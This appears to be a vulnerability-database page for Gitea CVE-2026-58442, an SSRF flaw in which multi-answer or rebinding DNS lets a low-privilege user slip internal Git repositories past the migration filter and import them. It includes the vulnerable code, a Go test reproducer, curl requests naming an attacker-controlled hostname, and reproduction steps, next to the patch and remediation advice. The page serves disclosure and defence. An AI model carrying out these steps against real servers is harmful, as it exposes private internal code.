Skip to main content

Gitea CVE-2026-58442

| EUVDEUVD-2026-58169 MEDIUM
Information Exposure (CWE-200)
2026-07-21 https://github.com/go-gitea/gitea GHSA-h2x6-g7q6-344v
6.5
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker provisions multi-answer DNS hostname (public IP + internal IP)
  2. Delivery
    Authenticates as low-privilege Gitea user
  3. Exploit
    Submits migration API request with attacker-controlled hostname
  4. Install
    Pre-flight validation passes (public IP satisfies OR allow-list check)
  5. C2
    git clone subprocess resolves hostname to internal IP
  6. Execute
    Gitea connects to internal Git service
  7. Impact
    Internal repository contents imported into attacker-controlled Gitea repository

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK

2 techniques across 2 tactics: Collection, Discovery

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all of the following: (1) the attacker holds an authenticated low-privilege Gitea account with permission to create repository migrations (PR:L per CVSS); (2) the Gitea instance has ALLOW_LOCALNETWORKS = false - the SSRF filter must be active, which is the default configuration; (3) the attacker controls a DNS hostname configured to return at least one allowed public IP alongside one or more blocked private or loopback IPs in the same response, or can perform DNS rebinding between the pre-flight validation and the subsequent git clone resolution; (4) an internal Git-compatible HTTP service is reachable from the Gitea server host. Exploitation is not possible without authentication (PR:L, not PR:N). Direct submission of an internal IP literal (e.g., http://127.0.0.1:18082/) is correctly blocked. Instances that restrict migration creation to administrators only are not exploitable by low-privilege users. Instances with ALLOW_LOCALNETWORKS = true have no SSRF filter to bypass.

Impact

The vendor-assigned CVSS 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) reflects network exploitability by authenticated low-privilege users with high confidentiality impact and no user interaction. AC:L warrants scrutiny: while the attack does require attacker-controlled DNS infrastructure, that infrastructure is fully within the attacker's control, so CVSS convention treats it as AC:L. No EPSS score was provided in the input data, so probabilistic exploitation frequency cannot be assessed. No CISA KEV listing exists, meaning active in-the-wild exploitation is not confirmed. A functional PoC is included in the advisory and was verified by the reporter against commit e8654c7e, meaning the exploitation technique is documented and reproducible. The realistic risk is meaningful for any Gitea instance that permits untrusted authenticated users to create repository migrations, particularly instances deployed in environments with valuable internal Git services (CI/CD servers, internal source control, metadata endpoints). Instances where migration is restricted to administrators only are not directly exposed. SSRF scope change (S:U vs S:C) could be debated - internal service data flows through Gitea into attacker-controlled repos - but the vendor's S:U assignment is noted.

Exploit ScenarioDerived

An attacker with a low-privilege Gitea account configures an attacker-controlled DNS hostname (e.g., mixed.attacker.example) to return both a legitimate public IP address and 127.0.0.1 in the same DNS response. The attacker submits a migration API request pointing to http://mixed.attacker.example:18082/repo.git; Gitea's pre-flight validation accepts it because the public IP satisfies the allow-list OR check. When git clone --mirror executes independently, DNS resolves the hostname to 127.0.0.1, Gitea connects to the internal Git service on port 18082, and the internal repository is imported into the attacker's Gitea repository. A proof-of-concept reproducer demonstrating the validation bypass is included in the advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 21, 2026

Server-side request forgery in Gitea's repository migration feature allows authenticated low-privilege users to bypass the SSRF allow/block-list filter by supplying an attacker-controlled DNS hostname that returns both a permitted public IP and a blocked private or loopback IP. Because the pre-flight validation accepts the hostname if any single resolved IP is permitted (OR logic), and because the subsequent git clone --mirror subprocess performs an independent DNS resolution with no binding to the validated IP set, an attacker can cause Gitea to connect to internal-only Git services and exfiltrate their contents into an attacker-controlled repository. No public exploit identified at time of analysis, but a functional proof-of-concept reproducer is included in the advisory and has been confirmed by the reporter against a specific Gitea commit.

RemediationAI

Vendor-released patch: Gitea v1.27.0, available at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. The fix changes the allow/block-list logic to use AND semantics so that all resolved IPs must be permitted and any blocked IP causes immediate rejection, closing the multi-answer bypass. Until upgrading is possible, the most impactful compensating control is restricting repository migration creation to administrator accounts only, removing the capability from low-privilege users via Gitea's admin panel - this eliminates the attack surface entirely for untrusted users but may disrupt self-service migration workflows. Alternatively, disabling repository migration entirely (setting ALLOW_MIGRATIONS = false in app.ini) eliminates the vulnerable feature at the cost of all migration functionality. Simply enabling strict block-lists without the code fix is insufficient because the OR-logic bypass remains exploitable regardless of block-list contents.

Affected VersionsENISA

Gitea Open Source Git Server 0 ≤1.26.4

Affected Packages

go code.gitea.io/gitea fix: 1.27.0
go gitea.dev fix: 1.27.0
euvd gitea_open_source_git_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in services/migrations/migrate.go within the Gitea Go codebase (pkg:go/code.gitea.io/gitea). The root cause class is CWE-200 (Information Exposure), compounded by a DNS Time-Of-Check Time-Of-Use (TOCTOU) race: the allow/block-list check resolves the migration hostname once using net.LookupIP, then iterates the result with ipAllowed = ipAllowed || allowList.MatchIPAddr(addr). OR semantics mean a single whitelisted IP in a multi-answer response causes the entire check to pass. The git clone --mirror subprocess invoked by MigrateRepositoryGitData / gitrepo.CloneExternalRepo performs its own OS-level DNS resolution without reference to the already-validated IP set, making the validation window and the clone window temporally decoupled. An attacker-controlled authoritative DNS server can serve different answers across those two resolution events (DNS rebinding) or simply serve a multi-A response containing one public IP and one private IP simultaneously. CPE: pkg:go/code.gitea.io_gitea, affected range < 1.27.0.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY 6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
vuln.today AI 6.5 MEDIUM

Network API exploited by authenticated low-privilege user; attacker controls DNS so AC:L; only confidentiality impact via internal repository exfiltration, no integrity or availability effect.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if any resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later git clone operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.

An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.

Details

The issue is in services/migrations/migrate.go, in the migration allow/block-list check.

Current logic computes whether any resolved IP is allowed:

go
var ipAllowed bool
var ipBlocked bool
for _, addr := range addrList {
    ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)
    ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}

Then, when an allow-list is active, the host is accepted if the hostname matches or ipAllowed is true:

go
if !allowList.IsEmpty() {
    if !allowList.MatchHostName(hostName) && !ipAllowed {
        return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}
    }
}

This means a hostname resolving to both:

  • an allowed public IP, e.g. 1.2.3.4
  • a blocked internal IP, e.g. 127.0.0.1

passes validation because the public IP sets ipAllowed = true.

The actual repository import is later performed by git clone --mirror via MigrateRepositoryGitData / gitrepo.CloneExternalRepo. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.

The direct internal URL is correctly blocked, but the multi-answer hostname is accepted.

PoC

I verified the vulnerable predicate locally against Gitea checkout:

text
e8654c7e062431a521636703f47339cde64644fd

using Dockerized Go tests with golang:1.26.4.

The local test proves:

  • checkByAllowBlockList("loopback.example.test", [127.0.0.1]) is rejected.
  • checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1]) is accepted.

Minimal reproducer at the validation layer:

go
func TestMigrationMultiAnswerAnyAllowed(t *testing.T) {
    old := setting.Migrations
    t.Cleanup(func() { setting.Migrations = old })

    setting.Migrations.AllowedDomains = ""
    setting.Migrations.BlockedDomains = ""
    setting.Migrations.AllowLocalNetworks = false
    require.NoError(t, Init())

    err := checkByAllowBlockList("mixed.example.test", []net.IP{
        net.ParseIP("1.2.3.4"),
        net.ParseIP("127.0.0.1"),
    })
    require.NoError(t, err, "mixed public+loopback answers should currently pass")

    err = checkByAllowBlockList("loopback.example.test", []net.IP{
        net.ParseIP("127.0.0.1"),
    })
    require.Error(t, err, "loopback-only answer should be rejected")
}

To reproduce end-to-end:

  1. Run Gitea with repository migration enabled and ALLOW_LOCALNETWORKS = false.
  2. Create a normal non-admin user that can create repositories.
  3. Run an internal Git HTTP service reachable only from the Gitea server, for example on 127.0.0.1:18082.
  4. Configure an attacker-controlled hostname so that DNS can return both a public address and 127.0.0.1, or can return a public address during Gitea's pre-flight validation and 127.0.0.1 during the later git clone.
  5. Confirm the direct internal migration is rejected:
bash
curl -X POST http://GITEA/api/v1/repos/migrate \
  -H "Authorization: token USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://127.0.0.1:18082/repo.git",
    "repo_name": "direct-internal",
    "service": "git",
    "private": true
  }'

Expected direct result:

json
{"message":"You can not import from disallowed hosts."}
  1. Start a migration from the attacker-controlled multi-answer hostname:
bash
curl -X POST http://GITEA/api/v1/repos/migrate \
  -H "Authorization: token USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://mixed.example.test:18082/repo.git",
    "repo_name": "multidns-ssrf",
    "service": "git",
    "private": true
  }'

Expected vulnerable result:

  • The migration request is accepted.
  • The git subprocess can connect to the internal address.
  • Internal repository contents are imported into the attacker's new Gitea repository.

Impact

This is a server-side request forgery in repository migration.

An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.

Potentially impacted resources include:

  • internal Git repositories
  • localhost-only services
  • private network source-control services
  • metadata or internal infrastructure endpoints if reachable and compatible with the request path

The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.

Suggested fix

The migration allow/block-list check should fail closed for multi-answer DNS:

  • reject if any resolved IP is blocked
  • require all resolved IPs to be allowed when an allow-list is active
  • treat an empty resolution result as not IP-allowed
  • ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and git clone

For example, instead of ipAllowed = ipAllowed || allowList.MatchIPAddr(addr), initialize ipAllowed to len(addrList) > 0 and combine with logical AND:

go
ipAllowed := len(addrList) > 0
ipBlocked := false
for _, addr := range addrList {
    ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)
    ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Medium
popular self-hosted Git platform, widely deployed in enterprise and developer teams
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy